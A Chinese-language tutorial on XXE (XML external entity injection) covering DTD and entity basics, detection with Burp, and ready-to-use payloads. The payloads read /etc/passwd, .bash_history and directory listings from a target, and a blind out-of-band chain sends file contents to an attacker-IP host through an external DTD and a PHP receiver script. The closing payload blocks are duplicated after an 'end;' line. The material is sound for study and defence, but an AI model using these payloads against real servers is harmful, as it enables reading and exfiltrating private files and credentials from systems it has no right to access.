XXE(xml外部实体注入漏洞)
1、原理:
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。(XXE漏洞触发的点一般是可以上传xml文件的位置)
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
(基于 Json 的 web 服务也有可能存在着 XXE 注入)
2、知识点
<1> XML:XML用于标记电子文件使其具有结构性的标记语句,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
文档格式:
<2> XML文档声明:可以把xml文档声明看成是xml文档说明,最简单的<?xml version="1.0"?>。
文档声明结构: version属性:说明当前xml文档的版本(必须的);
encoding属性:说明当前xml文档使用的字符编码集,xml解析器会使用这个编码来解析xml文档。默认是utf-8;
standalone属性:说明当前xml是否为独立文档,独立即不依赖外部的约束条件,默认是yes。
<3> DTD文档类型定义:DTD用来定义XML文档的结构,它包含一系列规则说明,以确保XML文档的一致性和有效性。如XML文档可用的词汇和结构,元素名称(包括根元素),元素的属性及属性的数据类型和取值方式,子元素的名称、顺序、出现次数,元素是否拥有子元素,是否能拥有文本内容,等等。
DTD的引用:DTD可以是被XML引用的独立的外部文档,也可以嵌入到XML文档中。DTD文档是特殊格式的XML文档。例如,DTD文档:student.dtd的内容如下
<!ELEMENT 班级 (学生+)>
<!ELEMENT 学生 (ID,姓名,年龄?,住址?,电话*)>
<!ELEMENT ID (#PCDATA)>
<!ELEMENT 姓名 (#PCDATA)>
<!ELEMENT 年龄 (#PCDATA)>
<!ELEMENT 住址 (#PCDATA)>
<!ELEMENT 电话 (座机*, 手机?)>
<!ELEMENT 座机 (#PCDATA)>
<!ELEMENT 手机 (#PCDATA)>
外部DTD-SYSTEM:在XML文档中声明使用外部DTD文档 ,例如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE 班级 SYSTEM "student.dtd">
...
外部DTD-PUBLIC:在XML文档中声明使用公共的DTD文档 ,公共标识符的格式为:标准//作者//类型和版本//语言,例如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE 班级 PUBLIC "-//WeiDP//Example 1.0//ZH-CN" "student.dtd">
...
内部声明DTD:
<4> XML实体:
字符实体:指用十进制格式(&#aaa;)或十六进制格式(પ)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
命名实体:也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
外部实体:外部实体表示外部文件的内容,用 SYSTEM 关键词表示。
参数实体:参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容
内部实体:内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
<5> 参数实体和内部实体:XML规范定义中,只有在DTD中才能引用参数实体。参数实体声明和引用都是以百分号%,并且参数实体的引用在DTD是解析的,替换文本将变成DTD的一部分。参数实体实例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % param "<!ENTITY internal 'http://evil.com'>">
%param;
]>
<root><test>&internal;</test></root>
参数实体param中包含内部实体的声明,用于替代标签中的实体引用参数。解析流程是:参数实体在DTD中解析是优先于XML文本中的内部实体解析。
参数实体:是一种只能在DTD中定义和使用的实体,一般引用时使用%做前缀(只能在DTD内部,立即引用,实体嵌套)
内部实体:是指在一个实体中定义的另一个实体,也就是嵌套定义。
实体嵌套:DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系。在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成十进制( %;)或十六进制(%;)。如下:
<!ENTITY % paraml '<!ENTITY % xxe SYSTEM "http://evil/log?%payload">'>
<6> XML有五个符号要实体引入:
<;(<)
>;(>)
&;(&)
&apos;(’)
";(")
***3、测试:***用burp抓包,可以在请求头添加 Content-type:application/xml,xml语句如果报错或执行则有可能存在XXE漏洞,不断根据response fuzz即可。
4、引入方式
<1>
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
<2>
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://test.com/evil.dtd">
%d
]>
<c>&b;</c>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
<3>
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://test.com/evil.dtd">
<c>&b;</c>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd"">
5、举例(回显XXE):
如图正常请求包,可以看到返回包中有回显
构造正常的XML文档,可以看到能正常返回
修改SvrId的数据,可以看到返回包的数据也相应改变了,初步判定可能存在XXE漏洞
构造payload,查看history文件文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aaa [<!ELEMENT aaa ANY ><!ENTITY bbb SYSTEM "../../.bash_history" >]>
<test><OpenId>oKMoN1jk_mgBJFkIviUsdZ0-FsJk</OpenId><SvrId>&bbb;</SvrId></test>
如图所示
还可以查看目录结构
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aaa [<!ELEMENT aaa ANY ><!ENTITY bbb SYSTEM "../../" >]>
<test><OpenId>oKMoN1jk_mgBJFkIviUsdZ0-FsJk</OpenId><SvrId>&bbb;</SvrId></test>
6、blind XXE(没有实例,待补充)
传统的XXE,要求在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据(Out-Of-Band),带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。
最简单的方法是通过参数实体引用,发送一个http请求到我们的服务器,然后观察服务器日志,如果在服务日志中显示能接收到,则说明存在漏洞。例如:
#先测试是否存在xee漏洞
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://自己服务器中的dtd文件">
%remote;
]>
#再考虑内部实体嵌套的形式构造payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://攻击者IP/test.php?%param1;'>">
%param2;
]>
<root>[This is my site]</root>
但这样做是行不通的,因为不能再实体定义中引用参数实体,即有些解析器不能允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。
解决方案是,将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。例如:
payload.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者IP/yuancheng.xml">
%remote;
%all;
]>
<root>&send;</root>
yuancheng.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者IP/1.php?file=%file;'>">
1.php
<?php file_put_contents("1.txt",$_GET['file']);?>
XXE工具https://github.com/joernchen/xxeserve
end;
yuancheng.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者IP/1.php?file=%file;'>">
1.php
<?php file_put_contents("1.txt",$_GET['file']);?>
XXE工具https://github.com/joernchen/xxeserve